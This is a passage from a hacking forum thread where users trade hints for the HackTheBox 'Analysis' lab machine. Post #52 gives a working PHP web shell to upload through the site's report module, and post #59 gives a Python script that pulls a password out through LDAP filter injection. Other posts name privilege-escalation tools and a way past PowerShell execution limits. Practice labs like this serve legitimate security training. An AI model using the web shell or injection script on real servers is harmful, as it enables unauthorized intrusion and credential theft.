Analysis - HTB
by paven - Saturday January 20, 2024 at 01:22 PM
#51
can anyone share php shell payload
Reply
#52
(01-21-2024, 08:55 AM)D0rke1e Wrote: can anyone share php shell payload

<?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; }?>

Put it into a php file, and upload it into the server by the SOC Report module
Reply
#53
i am in, but how to get to the user flag?
Reply
#54
https://github.com/antonioCoco/ConPtyShell i run this tool but doesn't works properly what can do ?
Reply
#55
how are you guys logging in (where) using the technician password
Reply
#56
(01-21-2024, 09:50 AM)xlr Wrote: how are you guys logging  in (where) using the technician password

Logon to the web portal where you can use the SOC upload functionality to gain foothold. Discussed above thoroughly.
Reply
#57
could need a little hint...i /private/encoded.txt a rabbit hole?
if not - how to deal with it?
Reply
#58
(01-21-2024, 06:40 AM)qxuarpcy Wrote:
(01-21-2024, 06:38 AM)jyosun Wrote:
(01-21-2024, 06:30 AM)qxuarpcy Wrote:
(01-21-2024, 06:09 AM)jyosun Wrote:
(01-21-2024, 06:02 AM)qxuarpcy Wrote: got user, any hint for root

How did you get the user flag?

svc_web > webservice  > jdoe > user flag

i got some credential about webservice, but i don't know how to use that. can you give me a little hint more?

runascs

I got credentias, and uploaded RunCs.exe to box. Using RunasCs I can read files as webservice ... but I cannot find the jdoe credentials
Reply
#59
code:

import requests
import urllib.parse

charset = "/usr/share/seclists/Fuzzing/alphanum-case-extra.txt"
url_template = "http://internal.analysis.htb/users/list.php?name=*)(%26(objectClass=user)(description={}*)"
clair = ""

while True:
with open(charset, "r") as charset_file:
for char in charset_file.read():
clair_with_char = clair + char
clair_encoded = urllib.parse.quote(clair_with_char)
s = url_template.format(clair_encoded)
print("Trying URL:", s)
response = requests.get(s)

if "technic" in response.text:
clair += char
print(clair)
break



when your code is looped try add char "*" mannually
Reply
#60
(01-21-2024, 10:57 AM)bsbsmaster Wrote: i cant understand how  did u get the password  for the user i tried  so many ways  any hint that can might help me i tried the script and brute force and i tried  to change the script url  didnt work
If you got shell then you can do further enumeration to find out user credentials. It's autologon functionality, saved winlogon credential.

Use this tool - https://github.com/itm4n/PrivescCheck - bypass the powershell exec restriction, run it, analyze the report it dumps... there you have it...
Reply


Possibly Related Threads…
Thread Author Replies Views Last Post
  [MEGALEAK] HackTheBox ProLabs, Fortress, Endgame - Alchemy, 250 Flags, leak htb-bot htb-bot 106 42,235 10-31-2026, 07:33 PM
Last Post: aistax
  [FREE] 300+ Writeups PDF HackTheBox/HTB premium retired Tamarisk 383 138,755 10-31-2026, 11:47 AM
Last Post: thaytoiyeucoay30nam
  HTB PWN- Oxidized ROP macavitysworld 4 1,042 10-29-2026, 01:01 PM
Last Post: A1Raid3r
  HTB - code + titanic walkthrough | free tony_boom23 3 7,259 10-25-2026, 06:35 AM
Last Post: A1Raid3r
  HTB apt lab note zapot 14 35,532 10-03-2026, 08:09 PM
Last Post: whuuaa



 Users browsing this thread: 1 Guest(s)